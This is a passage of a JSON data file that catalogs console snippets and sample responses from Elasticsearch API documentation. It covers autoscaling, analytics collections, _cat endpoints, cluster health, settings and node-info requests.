{"source_location":{"file":"autoscaling/apis/delete-autoscaling-policy.asciidoc","line":65},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"autoscaling/apis/delete-autoscaling-policy.asciidoc","line":74},"digest":"90e06d5ec5e454832d8fbd2e73ec2248","lang":"console","found":["ruby"],"source":"DELETE /_autoscaling/policy/*"}, {"source_location":{"file":"autoscaling/apis/delete-autoscaling-policy.asciidoc","line":82},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"autoscaling/apis/get-autoscaling-policy.asciidoc","line":40},"digest":"fb4799d2fe4011bf6084f89d97d9a4a5","lang":"console","found":[],"source":"GET /_autoscaling/policy/"}, {"source_location":{"file":"autoscaling/apis/get-autoscaling-policy.asciidoc","line":63},"digest":"0ea146b178561bc8b9002bed8a35641f","lang":"console","found":[],"source":"GET /_autoscaling/policy/my_autoscaling_policy"}, {"source_location":{"file":"autoscaling/apis/get-autoscaling-policy.asciidoc","line":71},"digest":"7886260d50c9d0a0ea3e034743679439","lang":"console-result","found":[],"source":"{\n \"roles\": ,\n \"deciders\": \n}"}, {"source_location":{"file":"behavioral-analytics/apis/put-analytics-collection.asciidoc","line":49},"digest":"7781b13b0ffff6026d10c4e3ab4a3a51","lang":"console","found":[],"source":"PUT _application/analytics/my_analytics_collection"}, {"source_location":{"file":"behavioral-analytics/apis/delete-analytics-collection.asciidoc","line":53},"digest":"fab702851e90e945c1b62dec0bb6a205","lang":"console","found":[],"source":"DELETE _application/analytics/my_analytics_collection/"}, {"source_location":{"file":"behavioral-analytics/apis/list-analytics-collection.asciidoc","line":60},"digest":"73b07b24ab2c4cd304a57f9cbda8b863","lang":"console","found":[],"source":"GET _application/analytics/"}, {"source_location":{"file":"behavioral-analytics/apis/list-analytics-collection.asciidoc","line":67},"digest":"af9c3fb31b5e85f3d9b969f685029d97","lang":"console-result","found":[],"source":"{\n \"my_analytics_collection\": {\n \"event_data_stream\": {\n \"name\": \"behavioral_analytics-events-my_analytics_collection\"\n }\n },\n \"my_analytics_collection2\": {\n \"event_data_stream\": {\n \"name\": \"behavioral_analytics-events-my_analytics_collection2\"\n }\n }\n}"}, {"source_location":{"file":"behavioral-analytics/apis/list-analytics-collection.asciidoc","line":85},"digest":"82d6de3081de7b0664f44adf2942675a","lang":"console","found":[],"source":"GET _application/analytics/my_analytics_collection"}, {"source_location":{"file":"behavioral-analytics/apis/list-analytics-collection.asciidoc","line":92},"digest":"35c1e21fd5fad3d290bb4ed3df57f32e","lang":"console-result","found":[],"source":"{\n \"my_analytics_collection\": {\n \"event_data_stream\": {\n \"name\": \"behavioral_analytics-events-my_analytics_collection\"\n }\n }\n}"}, {"source_location":{"file":"behavioral-analytics/apis/list-analytics-collection.asciidoc","line":105},"digest":"87469f8b7e9b965408479d276c3ce8aa","lang":"console","found":[],"source":"GET _application/analytics/my*"}, {"source_location":{"file":"behavioral-analytics/apis/list-analytics-collection.asciidoc","line":112},"digest":"af9c3fb31b5e85f3d9b969f685029d97","lang":"console-result","found":[],"source":"{\n \"my_analytics_collection\": {\n \"event_data_stream\": {\n \"name\": \"behavioral_analytics-events-my_analytics_collection\"\n }\n },\n \"my_analytics_collection2\": {\n \"event_data_stream\": {\n \"name\": \"behavioral_analytics-events-my_analytics_collection2\"\n }\n }\n}"}, {"source_location":{"file":"behavioral-analytics/apis/post-analytics-collection-event.asciidoc","line":69},"digest":"9afa0844883b7471883aa378a8dd10b4","lang":"console","found":[],"source":"POST _application/analytics/my_analytics_collection/event/search_click\n{\n \"session\": {\n \"id\": \"1797ca95-91c9-4e2e-b1bd-9c38e6f386a9\"\n },\n \"user\": {\n \"id\": \"5f26f01a-bbee-4202-9298-81261067abbd\"\n },\n \"search\":{\n \"query\": \"search term\",\n \"results\": {\n \"items\": [\n {\n \"document\": {\n \"id\": \"123\",\n \"index\": \"products\"\n }\n }\n ],\n \"total_results\": 10\n },\n \"sort\": {\n \"name\": \"relevance\"\n },\n \"search_application\": \"website\"\n },\n \"document\":{\n \"id\": \"123\",\n \"index\": \"products\"\n }\n}"}, {"source_location":{"file":"cat.asciidoc","line":36},"digest":"cb71332115c92cfb89375abd30b8bbbb","lang":"console","found":["ruby"],"source":"GET _cat/master?v=true"}, {"source_location":{"file":"cat.asciidoc","line":57},"digest":"602e04051c092cf77de2f75a563661b8","lang":"console","found":["ruby"],"source":"GET _cat/master?help"}, {"source_location":{"file":"cat.asciidoc","line":85},"digest":"66539dc6011dd2e0282cf81db1f3df27","lang":"console","found":["ruby"],"source":"GET _cat/nodes?h=ip,port,heapPercent,name"}, {"source_location":{"file":"cat.asciidoc","line":121},"digest":"9e9717d9108ae1425bfacf71c7c44539","lang":"console","found":["ruby"],"source":"GET _cat/indices?bytes=b&s=store.size:desc,index:asc&v=true"}, {"source_location":{"file":"cat.asciidoc","line":212},"digest":"cbfd6f23f8283e64ec3157c65bb722c4","lang":"console","found":["ruby"],"source":"GET _cat/templates?v=true&s=order:desc,index_patterns"}, {"source_location":{"file":"cat/alias.asciidoc","line":87},"digest":"78176cd6f570e1534bb40b19e6e900b6","lang":"console","found":["ruby"],"source":"GET _cat/aliases?v=true"}, {"source_location":{"file":"cat/allocation.asciidoc","line":119},"digest":"0a650401134f07e40216f0d0d1a66a32","lang":"console","found":["ruby"],"source":"GET /_cat/allocation?v=true"}, {"source_location":{"file":"cat/anomaly-detectors.asciidoc","line":278},"digest":"3f8dc309b63fa0437898107b0d964217","lang":"console","found":["ruby"],"source":"GET _cat/ml/anomaly_detectors?h=id,s,dpr,mb&v=true"}, {"source_location":{"file":"cat/anomaly-detectors.asciidoc","line":284},"digest":"39271e983530b6eb89f38c4098549021","lang":"console-result","found":[],"source":"id s dpr mb\nhigh_sum_total_sales closed 14022 1.5mb\nlow_request_rate closed 1216 40.5kb\nresponse_code_rates closed 28146 132.7kb\nurl_scanning closed 28146 501.6kb"}, {"source_location":{"file":"cat/component-templates.asciidoc","line":107},"digest":"0dfa9733c94bc43c6f14c7b6984c98fb","lang":"console","found":["ruby"],"source":"GET _cat/component_templates/my-template-*?v=true&s=name"}, {"source_location":{"file":"cat/count.asciidoc","line":67},"digest":"8141cdaddbe7d794f09f9ee84e46194c","lang":"console","found":["ruby"],"source":"GET /_cat/count/my-index-000001?v=true"}, {"source_location":{"file":"cat/count.asciidoc","line":89},"digest":"bb9e268ec62d19ca2a6366cbb48fae68","lang":"console","found":["ruby"],"source":"GET /_cat/count?v=true"}, {"source_location":{"file":"cat/dataframeanalytics.asciidoc","line":131},"digest":"4c712bd5637892a11f16b8975a0a98ed","lang":"console","found":["ruby"],"source":"GET _cat/ml/data_frame/analytics?v=true"}, {"source_location":{"file":"cat/dataframeanalytics.asciidoc","line":137},"digest":"821d07ed9a229f9d5cc34651124da6e8","lang":"console-result","found":[],"source":"id create_time type state\nclassifier_job_1 2020-02-12T11:49:09.594Z classification stopped\nclassifier_job_2 2020-02-12T11:49:14.479Z classification stopped\nclassifier_job_3 2020-02-12T11:49:16.928Z classification stopped\nclassifier_job_4 2020-02-12T11:49:19.127Z classification stopped\nclassifier_job_5 2020-02-12T11:49:21.349Z classification stopped"}, {"source_location":{"file":"cat/datafeeds.asciidoc","line":124},"digest":"bd7a1417fc27b5a801334ec44462b376","lang":"console","found":["ruby"],"source":"GET _cat/ml/datafeeds?v=true"}, {"source_location":{"file":"cat/datafeeds.asciidoc","line":130},"digest":"a22d26ed1bb89879243a707a73fa4e1c","lang":"console-result","found":[],"source":"id state buckets.count search.count\ndatafeed-high_sum_total_sales stopped 743 7\ndatafeed-low_request_rate stopped 1457 3\ndatafeed-response_code_rates stopped 1460 18\ndatafeed-url_scanning stopped 1460 18"}, {"source_location":{"file":"cat/fielddata.asciidoc","line":102},"digest":"e0bbfb368eae307e9508ab8d6e9cf23c","lang":"console","found":["ruby"],"source":"GET /_cat/fielddata?v=true&fields=body"}, {"source_location":{"file":"cat/fielddata.asciidoc","line":126},"digest":"f0816beb8ac21cb0940858b72f6b1946","lang":"console","found":["ruby"],"source":"GET /_cat/fielddata/body,soul?v=true"}, {"source_location":{"file":"cat/fielddata.asciidoc","line":152},"digest":"d681508a745b2bc777d47ba606d24224","lang":"console","found":["ruby"],"source":"GET /_cat/fielddata?v=true"}, {"source_location":{"file":"cat/health.asciidoc","line":81},"digest":"a98692a565904ec0783884d81a7b71fc","lang":"console","found":["ruby"],"source":"GET /_cat/health?v=true"}, {"source_location":{"file":"cat/health.asciidoc","line":101},"digest":"2c0dbdcf400cde5d36f7c9e6c1101011","lang":"console","found":["ruby"],"source":"GET /_cat/health?v=true&ts=false"}, {"source_location":{"file":"cat/indices.asciidoc","line":109},"digest":"a2b2ce031120dac49b5120b26eea8758","lang":"console","found":["python","ruby"],"source":"GET /_cat/indices/my-index-*?v=true&s=index"}, {"source_location":{"file":"cat/master.asciidoc","line":51},"digest":"ed5bfa68d01e079aac94de78dc5caddf","lang":"console","found":["ruby"],"source":"GET /_cat/master?v=true"}, {"source_location":{"file":"cat/nodeattrs.asciidoc","line":82},"digest":"98855f4bda8726d5d123aeebf7869e47","lang":"console","found":["ruby"],"source":"GET /_cat/nodeattrs?v=true"}, {"source_location":{"file":"cat/nodeattrs.asciidoc","line":113},"digest":"87b0b496747ad6c1e4ab4b462128fa1c","lang":"console","found":["ruby"],"source":"GET /_cat/nodeattrs?v=true&h=name,pid,attr,value"}, {"source_location":{"file":"cat/nodes.asciidoc","line":350},"digest":"2fee452baff92b409cbfc8d71eb5fc0e","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?v=true"}, {"source_location":{"file":"cat/nodes.asciidoc","line":378},"digest":"0dd30ffe2f900dde86cc9bb601d5e68e","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?v=true&h=id,ip,port,v,m"}, {"source_location":{"file":"cat/pending_tasks.asciidoc","line":52},"digest":"f298c4eb50ea97b34c57f8756eb350d3","lang":"console","found":["ruby"],"source":"GET /_cat/pending_tasks?v=true"}, {"source_location":{"file":"cat/plugins.asciidoc","line":51},"digest":"c47f030216a3c89f92f31787fc4d5df5","lang":"console","found":["ruby"],"source":"GET /_cat/plugins?v=true&s=component&h=name,component,version,description"}, {"source_location":{"file":"cat/recovery.asciidoc","line":84},"digest":"95414139c7b1203e3c2d99a354415801","lang":"console","found":["ruby"],"source":"GET _cat/recovery?v=true"}, {"source_location":{"file":"cat/recovery.asciidoc","line":113},"digest":"0c2d9ac7e3f28d4d802e21cbbbcfeb34","lang":"console","found":["ruby"],"source":"GET _cat/recovery?v=true&h=i,s,t,ty,st,shost,thost,f,fp,b,bp"}, {"source_location":{"file":"cat/recovery.asciidoc","line":143},"digest":"d603e76ab70131f7ec6b08758f95a0e3","lang":"console","found":["ruby"],"source":"GET _cat/recovery?v=true&h=i,s,t,ty,st,rep,snap,f,fp,b,bp"}, {"source_location":{"file":"cat/repositories.asciidoc","line":51},"digest":"05284c8ea91769c09c8db47db8a6629a","lang":"console","found":["ruby"],"source":"GET /_cat/repositories?v=true"}, {"source_location":{"file":"cat/segments.asciidoc","line":127},"digest":"8de6fed6ba2b94ce6a12ce076be2b4d7","lang":"console","found":["ruby"],"source":"GET /_cat/segments?v=true"}, {"source_location":{"file":"cat/shards.asciidoc","line":318},"digest":"7e126e2751311db60cfcbb22c9c41caa","lang":"console","found":["ruby"],"source":"GET _cat/shards"}, {"source_location":{"file":"cat/shards.asciidoc","line":344},"digest":"9bb24fe09e3d1c73a71d00b994ba8cfb","lang":"console","found":["ruby"],"source":"GET _cat/shards/my-index-*"}, {"source_location":{"file":"cat/shards.asciidoc","line":365},"digest":"7e126e2751311db60cfcbb22c9c41caa","lang":"console","found":["ruby"],"source":"GET _cat/shards"}, {"source_location":{"file":"cat/shards.asciidoc","line":388},"digest":"7e126e2751311db60cfcbb22c9c41caa","lang":"console","found":["ruby"],"source":"GET _cat/shards"}, {"source_location":{"file":"cat/shards.asciidoc","line":409},"digest":"25c0e66a433a0cd596e0641b752ff6d7","lang":"console","found":["ruby"],"source":"GET _cat/shards?h=index,shard,prirep,state,unassigned.reason"}, {"source_location":{"file":"cat/snapshots.asciidoc","line":129},"digest":"458b2228aed7464d915a5d73cb6b98f6","lang":"console","found":[],"source":"GET /_cat/snapshots/repo1?v=true&s=id"}, {"source_location":{"file":"cat/tasks.asciidoc","line":78},"digest":"b23ed357dce8ec0014708b7b2850a8fb","lang":"console","found":["ruby"],"source":"GET _cat/tasks?v=true"}, {"source_location":{"file":"cat/tasks.asciidoc","line":86},"digest":"c2613cffe0ea615550bb2a0ef9c76697","lang":"console-result","found":[],"source":"action task_id parent_task_id type start_time timestamp running_time ip node\ncluster:monitor/tasks/lists[n] oTUltX4IQMOUUVeiohTt8A:124 oTUltX4IQMOUUVeiohTt8A:123 direct 1458585884904 01:48:24 44.1micros 127.0.0.1:9300 oTUltX4IQMOUUVeiohTt8A\ncluster:monitor/tasks/lists oTUltX4IQMOUUVeiohTt8A:123 - transport 1458585884904 01:48:24 186.2micros 127.0.0.1:9300 oTUltX4IQMOUUVeiohTt8A"}, {"source_location":{"file":"cat/templates.asciidoc","line":61},"digest":"9270964d35d172ea5b193c5fc7a473dd","lang":"console","found":["ruby"],"source":"GET _cat/templates/my-template-*?v=true&s=name"}, {"source_location":{"file":"cat/thread_pool.asciidoc","line":136},"digest":"ad88e46bb06739991498dee248850223","lang":"console","found":["ruby"],"source":"GET /_cat/thread_pool"}, {"source_location":{"file":"cat/thread_pool.asciidoc","line":172},"digest":"df7ed126d8c92ddd3655c59ce4f305c9","lang":"console","found":["ruby"],"source":"GET /_cat/thread_pool/generic?v=true&h=id,name,active,rejected,completed"}, {"source_location":{"file":"cat/trainedmodel.asciidoc","line":118},"digest":"1af9742c71ce0587cd49a73ec7fc1f6c","lang":"console","found":[],"source":"GET _cat/ml/trained_models?h=c,o,l,ct,v&v=ture"}, {"source_location":{"file":"cat/trainedmodel.asciidoc","line":125},"digest":"bf7dead020ccabeb72f695804845ef14","lang":"console-result","found":[],"source":"id created_by operations license create_time version\nddddd-1580216177138 _xpack 196 PLATINUM 2020-01-28T12:56:17.138Z 8.0.0\nflight-regress-1580215685537 _xpack 102 PLATINUM 2020-01-28T12:48:05.537Z 8.0.0\nlang_ident_model_1 _xpack 39629 BASIC 2019-12-05T12:28:34.594Z 7.6.0"}, {"source_location":{"file":"cat/transforms.asciidoc","line":191},"digest":"2d8fcb03de417a71e7888bbdd948a692","lang":"console","found":["ruby"],"source":"GET /_cat/transforms?v=true&format=json"}, {"source_location":{"file":"cat/transforms.asciidoc","line":197},"digest":"191195abbde7ec9fc5b70be3f4e5927d","lang":"console-result","found":[],"source":"[\n {\n \"id\" : \"ecommerce_transform\",\n \"state\" : \"started\",\n \"checkpoint\" : \"1\",\n \"documents_processed\" : \"705\",\n \"checkpoint_progress\" : \"100.00\",\n \"changes_last_detection_time\" : null\n }\n]"}, {"source_location":{"file":"cluster.asciidoc","line":53},"digest":"2c602b4ee8f22cda2cdf19bad31da0af","lang":"console","found":["ruby"],"source":"# If no filters are given, the default is to select all nodes\nGET /_nodes\n# Explicitly select all nodes\nGET /_nodes/_all\n# Select just the local node\nGET /_nodes/_local\n# Select the elected master node\nGET /_nodes/_master\n# Select nodes by name, which can include wildcards\nGET /_nodes/node_name_goes_here\nGET /_nodes/node_name_goes_*\n# Select nodes by address, which can include wildcards\nGET /_nodes/10.0.0.3,10.0.0.4\nGET /_nodes/10.0.0.*\n# Select nodes by role\nGET /_nodes/_all,master:false\nGET /_nodes/data:true,ingest:true\nGET /_nodes/coordinating_only:true\nGET /_nodes/master:true,voting_only:false\n# Select nodes by custom attribute (e.g. with something like `node.attr.rack: 2` in the configuration file)\nGET /_nodes/rack:2\nGET /_nodes/ra*:2\nGET /_nodes/ra*:2*"}, {"source_location":{"file":"cluster/allocation-explain.asciidoc","line":10},"digest":"1cecd4d87a92427175157d41859df2af","lang":"console","found":["python","ruby"],"source":"GET _cluster/allocation/explain\n{\n \"index\": \"my-index-000001\",\n \"shard\": 0,\n \"primary\": false,\n \"current_node\": \"my-node\"\n}"}, {"source_location":{"file":"cluster/allocation-explain.asciidoc","line":101},"digest":"ab8de34fcfc0277901cb39618ecfc9d5","lang":"console","found":["python","ruby"],"source":"GET _cluster/allocation/explain\n{\n \"index\": \"my-index-000001\",\n \"shard\": 0,\n \"primary\": true\n}"}, {"source_location":{"file":"cluster/allocation-explain.asciidoc","line":115},"digest":"fcfd33f9e624b6f54245f4067401b2da","lang":"console-result","found":[],"source":"{\n \"index\" : \"my-index-000001\",\n \"shard\" : 0,\n \"primary\" : true,\n \"current_state\" : \"unassigned\", <1>\n \"unassigned_info\" : {\n \"reason\" : \"INDEX_CREATED\", <2>\n \"at\" : \"2017-01-04T18:08:16.600Z\",\n \"last_allocation_status\" : \"no\"\n },\n \"can_allocate\" : \"no\", <3>\n \"allocate_explanation\" : \"Elasticsearch isn't allowed to allocate this shard to any of the nodes in the cluster. Choose a node to which you expect this shard to be allocated, find this node in the node-by-node explanation, and address the reasons which prevent Elasticsearch from allocating this shard there.\",\n \"node_allocation_decisions\" : [\n {\n \"node_id\" : \"8qt2rY-pT6KNZB3-hGfLnw\",\n \"node_name\" : \"node-0\",\n \"transport_address\" : \"127.0.0.1:9401\",\n \"roles\" : [\"data\", \"data_cold\", \"data_content\", \"data_frozen\", \"data_hot\", \"data_warm\", \"ingest\", \"master\", \"ml\", \"remote_cluster_client\", \"transform\"],\n \"node_attributes\" : {},\n \"node_decision\" : \"no\", <4>\n \"weight_ranking\" : 1,\n \"deciders\" : [\n {\n \"decider\" : \"filter\", <5>\n \"decision\" : \"NO\",\n \"explanation\" : \"node does not match index setting [index.routing.allocation.include] filters [_name:\\\"nonexistent_node\\\"]\" <6>\n }\n ]\n }\n ]\n}"}, {"source_location":{"file":"cluster/allocation-explain.asciidoc","line":342},"digest":"4ca15672fc5ab1d80a127d086b6d2837","lang":"console","found":["python","ruby"],"source":"GET _cluster/allocation/explain"}, {"source_location":{"file":"cluster/get-settings.asciidoc","line":10},"digest":"4029af36cb3f8202549017f7378803b4","lang":"console","found":["python","ruby"],"source":"GET /_cluster/settings"}, {"source_location":{"file":"cluster/health.asciidoc","line":42},"digest":"04f5dd677c777bcb15d7d5fa63275fc8","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_cluster/health?wait_for_status=yellow&timeout=50s"}, {"source_location":{"file":"cluster/health.asciidoc","line":156},"digest":"b02e4907c9936c1adc16ccce9d49900d","lang":"console","found":["php","python","ruby","go","js"],"source":"GET _cluster/health"}, {"source_location":{"file":"cluster/health.asciidoc","line":165},"digest":"a6936420cb762a0f7f53a5ec54e52f36","lang":"console-result","found":[],"source":"{\n \"cluster_name\" : \"testcluster\",\n \"status\" : \"yellow\",\n \"timed_out\" : false,\n \"number_of_nodes\" : 1,\n \"number_of_data_nodes\" : 1,\n \"active_primary_shards\" : 1,\n \"active_shards\" : 1,\n \"relocating_shards\" : 0,\n \"initializing_shards\" : 0,\n \"unassigned_shards\" : 1,\n \"delayed_unassigned_shards\": 0,\n \"number_of_pending_tasks\" : 0,\n \"number_of_in_flight_fetch\": 0,\n \"task_max_waiting_in_queue_millis\": 0,\n \"active_shards_percent_as_number\": 50.0\n}"}, {"source_location":{"file":"cluster/health.asciidoc","line":192},"digest":"e63775a2ff22b945ab9d5f630b80c506","lang":"console","found":["python","ruby"],"source":"GET /_cluster/health/my-index-000001?level=shards"}, {"source_location":{"file":"health/health.asciidoc","line":463},"digest":"9d79645ab3a9da3f63c54a1516214a5a","lang":"console","found":["python","ruby"],"source":"GET _health_report"}, {"source_location":{"file":"health/health.asciidoc","line":471},"digest":"87733deeea4b441b595d19a0f97346f0","lang":"console","found":["python","ruby"],"source":"GET _health_report/shards_availability"}, {"source_location":{"file":"health/health.asciidoc","line":478},"digest":"3541d4a85e27b2c3896a7a7ee98b4b37","lang":"console","found":["python","ruby"],"source":"GET _health_report?verbose=false"}, {"source_location":{"file":"cluster/reroute.asciidoc","line":195},"digest":"2cd8439db5054c93c49f1bf50433e1bb","lang":"console","found":["python"],"source":"POST /_cluster/reroute?metric=none\n{\n \"commands\": [\n {\n \"move\": {\n \"index\": \"test\", \"shard\": 0,\n \"from_node\": \"node1\", \"to_node\": \"node2\"\n }\n },\n {\n \"allocate_replica\": {\n \"index\": \"test\", \"shard\": 1,\n \"node\": \"node3\"\n }\n }\n ]\n}"}, {"source_location":{"file":"cluster/state.asciidoc","line":144},"digest":"b66be1daf6c220eb66d94e708b2fae39","lang":"console","found":["ruby"],"source":"GET /_cluster/state/metadata,routing_table/foo,bar"}, {"source_location":{"file":"cluster/state.asciidoc","line":151},"digest":"0fa220ee3fb267020382f74aa70eb1e9","lang":"console","found":["ruby"],"source":"GET /_cluster/state/_all/foo,bar"}, {"source_location":{"file":"cluster/state.asciidoc","line":158},"digest":"a3cfd350c73a104b99a998c6be931408","lang":"console","found":["ruby"],"source":"GET /_cluster/state/blocks"}, {"source_location":{"file":"cluster/stats.asciidoc","line":1556},"digest":"861f5f61409dc87f3671293b87839ff7","lang":"console","found":["ruby"],"source":"GET /_cluster/stats?human&pretty"}, {"source_location":{"file":"cluster/stats.asciidoc","line":1878},"digest":"71c629c44bf3c542a0daacbfc253c4b0","lang":"console","found":["ruby"],"source":"GET /_cluster/stats/nodes/node1,node*,master:false"}, {"source_location":{"file":"cluster/update-settings.asciidoc","line":45},"digest":"e5901f48eb8a419b878fc2cb815d8691","lang":"console","found":["python","ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\" : {\n \"indices.recovery.max_bytes_per_sec\" : \"50mb\"\n }\n}"}, {"source_location":{"file":"cluster/update-settings.asciidoc","line":68},"digest":"ac85e05c0bf2fd5099fbcb9c492f447e","lang":"console","found":["python","ruby"],"source":"PUT /_cluster/settings?flat_settings=true\n{\n \"transient\" : {\n \"indices.recovery.max_bytes_per_sec\" : \"20mb\"\n }\n}"}, {"source_location":{"file":"cluster/update-settings.asciidoc","line":81},"digest":"06b29721a5f4093e0913bda0e6572e8a","lang":"console-result","found":[],"source":"{\n ...\n \"persistent\" : { },\n \"transient\" : {\n \"indices.recovery.max_bytes_per_sec\" : \"20mb\"\n }\n}"}, {"source_location":{"file":"cluster/update-settings.asciidoc","line":96},"digest":"eff8ecaed1ed084909c64450fc363a20","lang":"console","found":["python","ruby"],"source":"PUT /_cluster/settings\n{\n \"transient\" : {\n \"indices.recovery.max_bytes_per_sec\" : null\n }\n}"}, {"source_location":{"file":"cluster/update-settings.asciidoc","line":109},"digest":"747e59681a8b00d81de236ba61069f6b","lang":"console-result","found":[],"source":"{\n ...\n \"persistent\" : {},\n \"transient\" : {}\n}"}, {"source_location":{"file":"cluster/update-settings.asciidoc","line":123},"digest":"2fc80a2ad1ca8b2dcb13ed1895b8e861","lang":"console","found":["python","ruby"],"source":"PUT /_cluster/settings\n{\n \"transient\" : {\n \"indices.recovery.*\" : null\n }\n}"}, {"source_location":{"file":"cluster/nodes-usage.asciidoc","line":66},"digest":"3d6a56dd3d93ece0e3da3fb66b4696d3","lang":"console","found":["ruby"],"source":"GET _nodes/usage"}, {"source_location":{"file":"cluster/nodes-usage.asciidoc","line":74},"digest":"187cc2082eeaa32d13363bd6cb39a923","lang":"console-result","found":[],"source":"{\n \"_nodes\": {\n \"total\": 1,\n \"successful\": 1,\n \"failed\": 0\n },\n \"cluster_name\": \"my_cluster\",\n \"nodes\": {\n \"pQHNt5rXTTWNvUgOrdynKg\": {\n \"timestamp\": 1492553961812, <1>\n \"since\": 1492553906606, <2>\n \"rest_actions\": {\n \"nodes_usage_action\": 1,\n \"create_index_action\": 1,\n \"document_get_action\": 1,\n \"search_action\": 19, <3>\n \"nodes_info_action\": 36\n },\n \"aggregations\": {\n ...\n }\n }\n }\n}"}, {"source_location":{"file":"cluster/nodes-hot-threads.asciidoc","line":70},"digest":"77c099c97ea6911e2dd6e996da7dcca0","lang":"console","found":["ruby"],"source":"GET /_nodes/hot_threads\nGET /_nodes/nodeId1,nodeId2/hot_threads"}, {"source_location":{"file":"cluster/nodes-info.asciidoc","line":194},"digest":"3c4d7ef8422d2db423a8f23effcddaa1","lang":"console","found":["ruby"],"source":"# return just process\nGET /_nodes/process\n\n# same as above\nGET /_nodes/_all/process\n\n# return just jvm and process of only nodeId1 and nodeId2\nGET /_nodes/nodeId1,nodeId2/jvm,process\n\n# same as above\nGET /_nodes/nodeId1,nodeId2/info/jvm,process\n\n# return all the information of only nodeId1 and nodeId2\nGET /_nodes/nodeId1,nodeId2/_all"}, {"source_location":{"file":"cluster/nodes-info.asciidoc","line":221},"digest":"68b64313bf89ec3f2c645da61999dbb4","lang":"console","found":["ruby"],"source":"GET /_nodes/plugins"}, {"source_location":{"file":"cluster/nodes-info.asciidoc","line":229},"digest":"f24783dc805a57ebf01e1e7d3a661f47","lang":"console-result","found":[],"source":"{\n \"_nodes\": ...\n \"cluster_name\": \"elasticsearch\",\n \"nodes\": {\n \"USpTGYaBSIKbgSUJR2Z9lg\": {\n \"name\": \"node-0\",\n \"transport_address\": \"192.168.17:9300\",\n \"host\": \"node-0.elastic.co\",\n \"ip\": \"192.168.17\",\n \"version\": \"{version}\",\n \"transport_version\": 100000298,\n \"index_version\": 100000074,\n \"component_versions\": {\n \"ml_config_version\": 100000162,\n \"transform_config_version\": 100000096\n },\n \"build_flavor\": \"default\",\n \"build_type\": \"{build_type}\",\n \"build_hash\": \"587409e\",\n \"roles\": [\n \"master\",\n \"data\",\n \"ingest\"\n ],\n \"attributes\": {},\n \"plugins\": [\n {\n \"name\": \"analysis-icu\",\n \"version\": \"{version}\",\n \"description\": \"The ICU Analysis plugin integrates Lucene ICU module into elasticsearch, adding ICU relates analysis components.\",\n \"classname\": \"org.elasticsearch.plugin.analysis.icu.AnalysisICUPlugin\",\n \"has_native_controller\": false\n }\n ],\n \"modules\": [\n {\n \"name\": \"lang-painless\",\n \"version\": \"{version}\",\n \"description\": \"An easy, safe and fast scripting language for Elasticsearch\",\n \"classname\": \"org.elasticsearch.painless.PainlessPlugin\",\n \"has_native_controller\": false\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"cluster/nodes-info.asciidoc","line":301},"digest":"0c464965126cc09e6812716a145991d4","lang":"console","found":["ruby"],"source":"GET /_nodes/ingest"}, {"source_location":{"file":"cluster/nodes-info.asciidoc","line":309},"digest":"8ffd0eaa15163d4dac27741c97c27931","lang":"console-result","found":[],"source":"{\n \"_nodes\": ...\n \"cluster_name\": \"elasticsearch\",\n \"nodes\": {\n \"USpTGYaBSIKbgSUJR2Z9lg\": {\n \"name\": \"node-0\",\n \"transport_address\": \"192.168.17:9300\",\n \"host\": \"node-0.elastic.co\",\n \"ip\": \"192.168.17\",\n \"version\": \"{version}\",\n \"transport_version\": 100000298,\n \"index_version\": 100000074,\n \"component_versions\": {\n \"ml_config_version\": 100000162,\n \"transform_config_version\": 100000096\n },\n \"build_flavor\": \"default\",\n \"build_type\": \"{build_type}\",\n \"build_hash\": \"587409e\",\n \"roles\": [],\n \"attributes\": {},\n \"ingest\": {\n \"processors\": [\n {\n \"type\": \"date\"\n },\n {\n \"type\": \"uppercase\"\n },\n {\n \"type\": \"set\"\n },\n {\n \"type\": \"lowercase\"\n },\n {\n \"type\": \"gsub\"\n },\n {\n \"type\": \"convert\"\n },\n {\n \"type\": \"remove\"\n },\n {\n \"type\": \"fail\"\n },\n {\n \"type\": \"foreach\"\n },\n {\n \"type\": \"split\"\n },\n {\n \"type\": \"trim\"\n },\n {\n \"type\": \"rename\"\n },\n {\n \"type\": \"join\"\n },\n {\n \"type\": \"append\"\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"cluster/prevalidate-node-removal.asciidoc","line":105},"digest":"e35abc9403e4aef7d538ab29ccc363b3","lang":"console","found":[],"source":"POST /_internal/prevalidate_node_removal?names=node1,node2"}, {"source_location":{"file":"cluster/prevalidate-node-removal.asciidoc","line":113},"digest":"f222f07251dd89d9e8738097d3d7e9fa","lang":"console-result","found":[],"source":"{\n \"is_safe\": false,\n \"message\": \"removal of the following nodes might not be safe: [node2-id]\",\n \"nodes\": [\n {\n \"id\": \"node1-id\",\n \"name\" : \"node1\",\n \"external_id\" : \"node1-externalId\",\n \"result\" : {\n \"is_safe\": true,\n \"reason\": \"no_red_shards_on_node\",\n \"message\": \"\"\n }\n },\n {\n \"id\": \"node2-id\",\n \"name\" : \"node2\",\n \"external_id\" : \"node2-externalId\",\n \"result\" : {\n \"is_safe\": false,\n \"reason\": \"red_shards_on_node\",\n \"message\": \"node contains copies of the following red shards: [[indexName][0]]\"\n }\n }\n ]\n}"}, {"source_location":{"file":"cluster/nodes-reload-secure-settings.asciidoc","line":63},"digest":"6c8bf6d4d68b7756f953be4c07655337","lang":"console","found":[],"source":"POST _nodes/reload_secure_settings\n{\n \"secure_settings_password\":\"keystore-password\"\n}\nPOST _nodes/nodeId1,nodeId2/reload_secure_settings\n{\n \"secure_settings_password\":\"keystore-password\"\n}"}, {"source_location":{"file":"cluster/nodes-reload-secure-settings.asciidoc","line":82},"digest":"f141b94c4b48dc62c67cffc121320a8d","lang":"console-result","found":[],"source":"{\n \"_nodes\": {\n \"total\": 1,\n \"successful\": 1,\n \"failed\": 0\n },\n \"cluster_name\": \"my_cluster\",\n \"nodes\": {\n \"pQHNt5rXTTWNvUgOrdynKg\": {\n \"name\": \"node-0\"\n }\n }\n}"}, {"source_location":{"file":"cluster/nodes-stats.asciidoc","line":2854},"digest":"5457c94f0039c6b95c7f9f305d0c6b58","lang":"console","found":["ruby"],"source":"# return just indices\nGET 